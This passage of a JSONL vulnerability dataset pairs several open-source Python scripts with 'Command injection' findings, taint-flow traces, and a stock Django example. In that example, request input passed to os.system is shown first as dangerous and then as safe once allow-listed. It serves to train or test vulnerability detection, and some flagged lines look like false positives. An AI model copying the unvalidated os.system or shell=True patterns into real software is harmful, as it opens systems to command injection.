np.max(track_ids) + 1\n            assert(len(detections) == len(track_ids))\n            for d,tid in zip(detections, track_ids):\n                tracklets[tid].append(d)\n            return tracklets\n\n        def make_object(track):\n            track.sort(key=lambda x:x['frame'])\n            if classify_function:\n                valid,attrs = classify_function(media.to_dict(),\n                                                track,\n                                                **classify_args)\n            elif len(track) >= strategy['min-length']:\n                valid = True\n                attrs = {}\n            else:\n                valid = False\n                attrs = {}\n            if valid:\n                obj={\"type\": args.tracklet_type_id,\n                     \"media_ids\": [int(media_id)],\n                     \"localization_ids\": [x['id'] for x in track],\n                     **attrs,\n                     \"version\": version_id}\n                return obj\n            else:\n                return None\n\n        tracklets = join_up_final(detections, track_ids)\n        new_objs=[make_object(tracklet) for tracklet in tracklets.values()]\n        new_objs=[x for x in new_objs if x is not None]\n        print(f\"New objects = {len(new_objs)}\")\n        with open(f\"/work/{media_id}.json\", \"w\") as f:\n            json.dump(new_objs,f)\n        if not args.dry_run:\n            for response in tator.util.chunked_create(api.create_state_list,project,\n                                                      state_spec=new_objs):\n                pass\n            try:\n                api.update_media(int(media_id), {\"attributes\":{\"Tracklet Generator Processed\": str(datetime.datetime.now())}})\n            except:\n                print(\"WARNING: Unable to set 'Tracklet Generator Processed' attribute\")", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 160, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 172, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 175, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "175"}}, {"lineNo": 176, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 176, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 177, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "177"}}, {"lineNo": 178, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "e21a48ccda7c764f31d10fbc03c646ceff90573d907d63295cc8cd4aa829253d", "license": {"spdx": ["MIT"], "repo": "nixli/hfta", "path": "examples/hfht/pointnet_classification.py", "repo_head_hexsha": "76274b5ee0e32732da20b153a3cc6550510d8a78", "stack_hexsha": "f8eb7ee679859acda30ad6ca74e666a2bc11c767", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 79, "entireCode": "import argparse\nimport logging\nimport numpy as np\nimport os\nimport pandas as pd\nimport random\nimport subprocess\nfrom pathlib import Path\n\nfrom hyperopt import hp\nfrom hyperopt.pyll.stochastic import sample\n\nfrom hfta.hfht import (tune_hyperparameters, attach_common_args,\n                       rearrange_algorithm_kwargs, handle_integers,\n                       generate_fusible_param_flags, generate_nonfusible_param)\nfrom hfta.workflow import extract_logging_level\nfrom hfta.hfht.utils import fuse_dicts\n\n\ndef main(args):\n  random.seed(args.seed)\n  np.random.seed(args.seed)\n  rng_state = np.random.RandomState(seed=args.seed)\n\n  fusibles = {\n      'lr': hp.uniform('lr', 0.0001, 0.01),\n      'beta1': hp.uniform('beta1', 0.001, 0.999),\n      'beta2': hp.uniform('beta2', 0.001, 0.999),\n      'weight_decay': hp.uniform('weight_decay', 0.0, 0.5),\n      'gamma': hp.uniform('gamma', 0.1, 0.9),\n      'step_size': hp.choice('step_size', (5, 10, 20, 40)),\n  }\n  nonfusibles = {\n      'batch_size': hp.choice('batch_size', (8, 16, 32)),\n      'feature_transform': hp.choice('feature_transform', (True, False)),\n  }\n\n  def _run(results_dir, epochs, iters_per_epoch, params, env_vars=None):\n    # Build the cmd.\n    cmd = [\n        'python',\n        'train_classification.py',\n        '--epochs',\n        str(epochs),\n        '--iters-per-epoch',\n        str(iters_per_epoch),\n        '--dataset',\n        args.dataset,\n        '--dataset_type',\n        args.dataset_type,\n        '--num_points',\n        str(args.num_points),\n        '--device',\n        args.device,\n        '--eval',\n        '--seed',\n        str(args.seed),\n        '--batch_size',\n        str(generate_nonfusible_param(params, 'batch_size')),\n    ]\n    if results_dir is not None:\n      cmd.extend(['--outf', results_dir])\n    if generate_nonfusible_param(params, 'feature_transform'):\n      cmd.append('--feature_transform')\n    cmd.extend(\n        generate_fusible_param_flags(\n            params,\n            ['lr', 'beta1', 'beta2', 'weight_decay', 'gamma', 'step_size'],\n        ))\n    if args.mode == 'hfta':\n      cmd.append('--hfta')\n    if args.amp:\n      cmd.append('--amp')\n\n    # Launch the training process.\n    succeeded = True\n    try:\n      logging.info('--> Running cmd = {}'.format(cmd))\n      subprocess.run(\n          cmd,\n          stdout=subprocess.DEVNULL if results_dir is None else open(\n              os.path.join(results_dir, 'stdout.txt'),\n              'w',\n          ),\n          stderr=subprocess.DEVNULL if results_dir is None else open(\n              os.path.join(results_dir, 'stderr.txt'),\n              'w',\n          ),\n          check=True,\n          cwd=os.path.join(\n              os.path.abspath(os.path.expanduser(os.path.dirname(__file__))),\n              '../pointnet/'),\n          env=env_vars,\n      )\n    except subprocess.CalledProcessError as e:\n      logging.error(e)\n      succeeded = False\n    return succeeded\n\n  def try_params(ids, epochs, params, env_vars=None):\n    \"\"\" Running the training process for pointnet classification task.\n\n    Args:\n      ids: Either a single int ID (for serial), or a list of IDs (for HFTA).\n      epochs: number of epochs to run.\n      params: maps hyperparameter name to its value(s). For HFTA, the values are\n        provided as a list.\n      env_vars: optional, dict(str, str) that includes extra environment that\n        needs to be forwarded to the subprocess call\n\n    Returns:\n      result(s): A single result dict for serial or a list of result dicts for\n        HFTA in the same order as ids.\n      early_stop(s): Whether the training process early stopped. A single bool\n        for serial or a list of bools for HFTA in the same order as ids.\n    \"\"\"\n    epochs = int(round(epochs))\n    ids_str = (','.join([str(i) for i in ids]) if isinstance(\n        ids,\n        (list, tuple),\n    ) else str(ids))\n    # Allocate result dir.\n    results_dir = os.path.join(args.outdir, ids_str)\n    Path(results_dir).mkdir(parents=True, exist_ok=True)\n    # Run training.\n    succeeded = _run(\n        results_dir,\n        epochs,\n        args.iters_per_epoch,\n        params,\n        env_vars=env_vars,\n    )\n    if not succeeded:\n      raise RuntimeError('_run failed!')\n    # Gather the results.\n    results_frame = pd.read_csv(os.path.join(results_dir, 'eval.csv'))\n    if isinstance(ids, (list, tuple)):\n      results = [{'acc': acc} for acc in results_frame['acc'].tolist()]\n      assert len(results) == len(ids)\n      return results, [False] * len(ids)\n    else:\n      return {'acc': results_frame['acc'][0]}, False\n\n  def dry_run(\n      B=None,\n      nonfusibles_kvs=None,\n      epochs=None,\n      iters_per_epoch=None,\n      env_vars=None,\n  ):\n    params = [{\n        **handle_integers(sample(fusibles, rng=rng_state)),\n        **nonfusibles_kvs\n    } for _ in range(max(B, 1))]\n    if B > 0:\n      params = fuse_dicts(params)\n    else:\n      params = params[0]\n    return _run(None, epochs, iters_per_epoch, params, env_vars=env_vars)\n\n  tune_hyperparameters(\n      space={\n          **fusibles,\n          **nonfusibles\n      },\n      try_params_callback=try_params,\n      dry_run_callback=dry_run,\n      mode=args.mode,\n      algorithm=args.algorithm,\n      nonfusibles=nonfusibles.keys(),\n      dry_run_repeats=args.dry_run_repeats,\n      dry_run_epochs=args.dry_run_epochs,\n      dry_run_iters_per_epoch=args.dry_run_iters_per_epoch,\n      metric='acc',\n      goal='max',\n      algorithm_configs={\n          'hyperband': args.hyperband_kwargs,\n          'random': args.random_kwargs,\n      },\n      seed=args.seed,\n      outdir=args.outdir,\n  )\n\n\ndef attach_args(parser=argparse.ArgumentParser()):\n  parser.add_argument(\n      '--workers',\n      type=int,\n      help='number of data loading workers',\n      default=4,\n  )\n  parser.add_argument(\n      '--iters-per-epoch',\n      type=int,\n      default=int(1e9),\n      help='number of epochs to train for',\n  )\n  parser.add_argument('--dataset', type=str, required=True, help=\"dataset path\")\n  parser.add_argument(\n      '--dataset-type',\n      type=str,\n      default='shapenet',\n      help=\"dataset type shapenet|modelnet40\",\n  )\n  parser.add_argument(\n      '--num-points',\n      type=int,\n      default=2500,\n      help='num of points for dataset',\n  )\n  parser.add_argument(\n      '--device',\n      type=str,\n      default='cuda',\n      choices=['cpu', 'cuda', 'xla'],\n      help=\"the device where this test is running\",\n  )\n  parser.add_argument(\n      '--amp',\n      default=False,\n      action='store_true',\n      help='Enable AMP; only used when --device is cuda',\n  )\n  parser = attach_common_args(parser)\n  return parser\n\n\nif __name__ == '__main__':\n  args = attach_args().parse_args()\n  rearrange_algorithm_kwargs(args)\n  logging.basicConfig(level=extract_logging_level(args))\n  args.outdir = os.path.abspath(os.path.expanduser(args.outdir))\n  args.dataset = os.path.abspath(os.path.expanduser(args.dataset))\n  main(args)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 79, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}, {"lineNo": 81, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}]}}
{"id": "5f9291e5e30c8010b9df747a0a542fa2f6f2d19caf4360e1c9d33b7c74f4a23c", "license": {"spdx": ["BSD-3-Clause"], "repo": "gentnerlab/glab-common-py", "path": "glab_common/allsummary.py", "repo_head_hexsha": "9ff87ac6ca5f07c0d550594da38080bd3ee916db", "stack_hexsha": "0c18dab0a973e417315a5c146525d7d91b9da0fe", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 37, "entireCode": "from __future__ import print_function\nimport re\nimport datetime as dt\nfrom behav.loading import load_data_pandas\nimport warnings\nimport subprocess\nimport os\nimport sys\n\nprocess_fname = \"/home/bird/opdat/panel_subject_behavior\"\n\nbox_nums = []\nbird_nums = []\nprocesses = []\n\nwith open(process_fname, \"rt\") as psb_file:\n    for line in psb_file.readlines():\n        if line.startswith(\"#\") or not line.strip():\n            pass  # skip comment lines & blank lines\n        else:\n            spl_line = line.split()\n            if spl_line[1] == \"1\":  # box enabled\n                box_nums.append(spl_line[0])\n                bird_nums.append(int(spl_line[2]))\n                processes.append(spl_line[4])\n\n\n# rsync magpis\nhostname = os.uname()[1]\nif \"magpi\" in hostname:\n    for box_num in box_nums:\n        box_hostname = box_num\n        rsync_src = \"bird@{}:/home/bird/opdat/\".format(box_hostname)\n        rsync_dst = \"/home/bird/opdat/\"\n        print(\"Rsync src: {}\".format(rsync_src), file=sys.stderr)\n        print(\"Rsync dest: {}\".format(rsync_dst), file=sys.stderr)\n        rsync_output = subprocess.run([\"rsync\", \"-avz\", \"--exclude Generated_Songs/\", rsync_src, rsync_dst])\n\nsubjects = [\"B%d\" % (bird_num) for bird_num in bird_nums]\ndata_folder = \"/home/bird/opdat\"\n\nwith open(\"/home/bird/all.summary\", \"w\") as as_file:\n    as_file.write(\n        \"this all.summary generated at %s\\n\" % (dt.datetime.now().strftime(\"%x %X\"))\n    )\n    as_file.write(\n        \"FeedErr(won't come up, won't go down, already up, resp during feed)\\n\"\n    )\n\n    # Now loop through each bird and grab the error info from each summaryDAT file\n    for (box, bird, proc) in zip(box_nums, bird_nums, processes):\n        try:\n            # make sure box is a string\n            box = str(box)\n            if proc in (\"shape\", \"lights\", \"pylights\", \"lights.py\"):\n                as_file.write(\"%s\\tB%d\\t %s\\n\" % (box, bird, proc))\n            else:\n                summaryfname = \"/home/bird/opdat/B%d/%d.summaryDAT\" % (bird, bird)\n                with open(summaryfname, \"rt\") as sdat:\n                    sdata = sdat.read()\n\n                m = re.search(r\"failures today: (\\w+)\", sdata)\n                hopper_failures = m.group(1)\n                m = re.search(r\"down failures today: (\\w+)\", sdata)\n                godown_failures = m.group(1)\n                m = re.search(r\"up failures today: (\\w+)\", sdata)\n                goup_failures = m.group(1)\n                m = re.search(r\"Responses during feed: (\\w+)\", sdata)\n                resp_feed = m.group(1)\n\n                subj = \"B%d\" % (bird)\n                with warnings.catch_warnings():\n                    warnings.simplefilter(\"ignore\")\n                    behav_data = load_data_pandas([subj], data_folder)\n                df = behav_data[subj]\n                # df = df[~pd.isnull(data.index)]\n                todays_data = df[\n                    (df.index.date - dt.datetime.today().date()) == dt.timedelta(days=0)\n                ]\n                feeder_ops = sum(todays_data[\"reward\"].values)\n                trials_run = len(todays_data)\n                noRs = sum(todays_data[\"response\"].values == \"none\")\n                TOs = trials_run - feeder_ops - noRs\n                last_trial_time = todays_data.sort_index().tail().index[-1]\n                if last_trial_time.day != dt.datetime.now().day:\n                    datediff = \"(not today)\"\n                else:\n                    minutes_ago = (dt.datetime.now() - last_trial_time).seconds / 60\n                    datediff = \"(%d mins ago)\" % (minutes_ago)\n\n                outline = (\n                    \"%s\\tB%d\\t %s  \\ttrls=%s  \\tfeeds=%d  \\tTOs=%d  \\tnoRs=%d  \\tFeedErrs=(%s,%s,%s,%s)  \\tlast @ %s %s\\n\"\n                    % (\n                        box,\n                        bird,\n                        proc,\n                        trials_run,\n                        feeder_ops,\n                        TOs,\n                        noRs,\n                        hopper_failures,\n                        godown_failures,\n                        goup_failures,\n                        resp_feed,\n                        last_trial_time.strftime(\"%x %X\"),\n                        datediff,\n                    )\n                )\n                as_file.write(outline)\n        except Exception as e:\n            as_file.write(\n                \"%s\\tB%d\\t Error opening SummaryDat or incorrect format\\n\" % (box, bird)\n            )\n            print(e)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "30"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 37, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "adcae2c38230895a27de9fe136b17e263b67174dcc81f5375c54b7da61d93fbc", "license": {"spdx": ["MIT"], "repo": "githeim/wh_tmpl", "path": ".tmpl/python_scripts/batch_cmd_py/batch_cmd.py", "repo_head_hexsha": "cb869cb241fbe4b66bb0ed5b08a4a4e2dad0ed89", "stack_hexsha": "ad3bbfaab9acdd38aa4c59baaeda66231af95942", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 78, "entireCode": "#!/usr/bin/python3\nimport subprocess\nimport os\nimport sys\nimport unittest\nimport enum\nimport datetime\n\ndef Get_Parent_Dir():\n  return os.path.dirname(os.path.abspath(os.path.dirname(__file__)))\ndef Get_Current_Dir():\n  return os.path.abspath(os.path.dirname(__file__))\n# :x: example\ndef Get_Working_Dir():\n  return Get_Current_Dir()+\"/testdir\"\n\n\ndef JobList():\n    return [\n        # working directory       # job_cmd\n\n        [ Get_Current_Dir(),  'mkdir ./testdir' ],\n        [ Get_Current_Dir(),  'touch ./testdir/fileA' ],\n        [ Get_Current_Dir(),  'touch ./testdir/fileB' ],\n        [ Get_Current_Dir(),  'touch ./testdir/fileC' ],\n\n        [ Get_Working_Dir(),  'ls -l' ],\n\n        [ Get_Working_Dir(),  'rm file*' ],\n\n        [ Get_Current_Dir(),  'rm -rf testdir' ],\n\n\n        # test cases/runners\n    ]\n\nclass JobOffset():\n    dir =  0        # directory\n    job_cmd =  1  # job command\n\n\n\ndef DoJobList( JobList ):\n  StepCnt = 0\n  CurrentDir = os.getcwd()\n  ret = True\n  # The value For printing report\n  strJobReport =\"Job Report\\n\"\n  strJobLogReport = \"Log Report\\n\"\n\n  for JobItem in JobList:\n    work_dir = JobItem[JobOffset.dir]\n    strJobCmd = JobItem[JobOffset.job_cmd]\n    StepCnt = StepCnt+1\n\n    strJobLogReport= strJobLogReport+\"\\n\"+\\\n      \"============================================\\n\"+\\\n      \"Step[\"+str(StepCnt)+\"] Work Dir [\"+work_dir+\"]\\n\"+\\\n      \"job cmd  [\"+str(strJobCmd)+\"]\\n\"+\\\n      \"============================================\\n\"\n\n    print(\"Job #\"+str(StepCnt))\n    print(\"check Working Directory ; \"+work_dir)\n    if os.path.isdir(work_dir) == False:\n      print(\"No working directory [\"+work_dir+\"]\")\n      strJobLogReport= strJobLogReport+\"No working directory [\"+work_dir+\"]\\n\"\n      strJobSuccess = \"Fail\"\n      ret = False\n    else :\n      # :x: Change working directory\n      os.chdir(work_dir)\n      print(\"execution job command ; \"+strJobCmd)\n      print(\"processing\")\n      # Get local systems environment variable\n      # without this value, it can't get the environment values\n      # ex) $PATH $HOME...\n      local_env = os.environ.copy()\n      output=subprocess.run(strJobCmd, shell=True, universal_newlines=True,\n               env=local_env,\n               stdout=subprocess.PIPE,\n               stderr=subprocess.STDOUT)\n      print(\"processing Done\")\n\n      strJobLogReport= strJobLogReport+output.stdout+\"\\n\"\n      if ( output.returncode !=0 ):\n        print(\"Job Error ; on [\"+str(work_dir)+\"]\");\n        strJobSuccess = \"Fail\"\n        ret = False\n      else:\n        print(\"Job Done  ; [\"+str(work_dir)+\"]\");\n        strJobSuccess = \"Success\"\n    strJobReport= strJobReport +\\\n                    \"Step[%04d] ;[%7s],[%s],[%s]\\n\" %(StepCnt,strJobSuccess,work_dir,strJobCmd)\n    # :x: back to original working directory\n    os.chdir(CurrentDir)\n  return (ret,strJobReport,strJobLogReport)\n\n\n\ndef main() :\n\n  ret = DoJobList(JobList())\n\n  bSuccess = ret[0]\n  strJobReport = ret[1]\n  strJobLogReport = ret[2]\n  print(\"\\n\\n\\n==============\\n\"+strJobReport+\"\\n\")\n  strJobLogFileName ='job_log_'+datetime.datetime.now().strftime('%m_%d_%H_%M_%S')+'.txt'\n\n  f = open (\"./\"+strJobLogFileName,'w')\n  f.write(strJobLogReport)\n  f.close()\n\n  print (\"Job log file ; \"+strJobLogFileName+\"\\n\")\n  if (bSuccess != True):\n      print(\"Job Error Check Report ; \"+strJobLogFileName)\n      return -1\n  print(\"All Job success\")\n\n  return 0\n\n# Write Unit Test Here\n\nclass general_unit_test(unittest.TestCase):\n  def setUp(self):\n    print(\"setup\")\n\n  def tearDown(self):\n    print(\"teardown\")\n\n  def test_vundle_install(self):\n    self.assertTrue(True)\n\n\n\nif __name__ == '__main__':\n  print (\"chk\")\n  exit( main())\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 70, "eventType": "source", "messageKey": "synz.COMMON.branch.false.assumed", "params": {"arg0": "70"}}, {"lineNo": 78, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "0944a28b129bc053bbf7669c96893412fb7ecbf4417c4366f7b719fa24a44d45", "license": {"spdx": ["MIT"], "repo": "DZahar0v/DeployCheck", "path": "LoadContracts.py", "repo_head_hexsha": "009900657eb4c02927383e50c8afcc3e343b903f", "stack_hexsha": "eaf0021867e5f8655350350f668d136cce9a9e15", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 110, "entireCode": "import json\nimport requests\nimport os\nimport subprocess\nimport platform\n\nHTTP = requests.session()\n\n\nclass ClientException(Exception):\n    message = 'unhandled error'\n    def __init__(self, message=None):\n        if message is not None:\n            self.message = message\n\n\ndef getURL(address):\n    url =  \"https://api.etherscan.io/api\"\n    url += \"?module=contract\"\n    url += \"&action=getsourcecode\"\n    url += \"&address=\" + address\n    url += \"&apikey=\"\n    return url\n\n\ndef connect(url):\n    try:\n        req = HTTP.get(url)\n    except requests.exceptions.ConnectionError:\n        raise ClientException\n\n    if req.status_code == 200:\n        # Check for empty response\n        if req.text:\n            data = req.json()\n            status = data.get('status')\n            if status == '1' or status == '0':\n                return data\n            else:\n                raise ClientException\n    raise ClientException\n\n\ndef getCode(jsonCode, fileName):\n    code = jsonCode[0]['SourceCode']\n    contractName = jsonCode[0]['ContractName']\n    if (code == ''):\n        print(fileName + ': not verified yet!')\n        return code\n    if (code.find('\"content\": \"') == -1):\n        return code\n    # removing unnecessary braces\n    code = code[1:-1]\n    code = code.replace(\"\\r\", \"\")\n    code = code.replace(\"\\n\", \"\")\n\n    # Etherscan API send bad JSON\n    index = code.find('\"content\": \"')\n    clearCode = ''\n    while index != -1:\n        clearCode += code[:index+12]\n        code = code[index+12:]\n        index2 = code.find('\"    },')\n        if (index2 == -1):\n            index2 = code.find('\"    }')\n        tmpString = code[:index2]\n        tmpString = tmpString.replace('\\\\\"', \"'\")\n        clearCode += tmpString\n        code = code[index2:]\n        index = code.find('\"content\": \"')\n    clearCode += code\n\n    code = json.loads(clearCode)\n    contractCode = ''\n    for src in code['sources']:\n        if (src.find(contractName) != -1):\n            contractCode = code['sources'][src]['content']\n            break\n    return contractCode\n\n\nif __name__ == \"__main__\":\n    with open(\"Config.json\") as jsonFile:\n        jsonObject = json.load(jsonFile)\n        jsonFile.close()\n    \n    dir = jsonObject['directory']\n    addresses = jsonObject['addresses']\n\n    isExist = os.path.exists(dir)\n    if not isExist:\n        os.makedirs(dir)\n\n    for address in addresses:\n        url = getURL(address[1])\n        req = connect(url)\n        code = getCode(req['result'], address[0])\n        if (code == ''):\n            continue\n        file = open(dir + address[0] + '.sol', \"w+\")\n        file.write(code)\n        file.close()\n        # File comparison\n        print('Open: ' + address[0])\n        etherscanCode = dir + address[0] + '.sol'\n        githubCode = address[2]\n        if (platform.system() == 'Windows'):\n            subprocess.call(['C:\\\\Program Files (x86)\\\\Meld\\\\meld.exe', etherscanCode, githubCode])\n        else:\n            os.system('meld ' + etherscanCode + ' ' + githubCode)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 83, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 84, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 84, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 87, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "jsonObjectjsonObject[\"directory\"]"}}, {"lineNo": 87, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "jsonObjectjsonObject[\"addresses\"]"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 105, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "addressaddress[0]"}}, {"lineNo": 105, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 106, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "addressaddress[2]"}}, {"lineNo": 106, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 109, "eventType": "source", "messageKey": "synz.COMMON.branch.false.assumed", "params": {"arg0": "109"}}, {"lineNo": 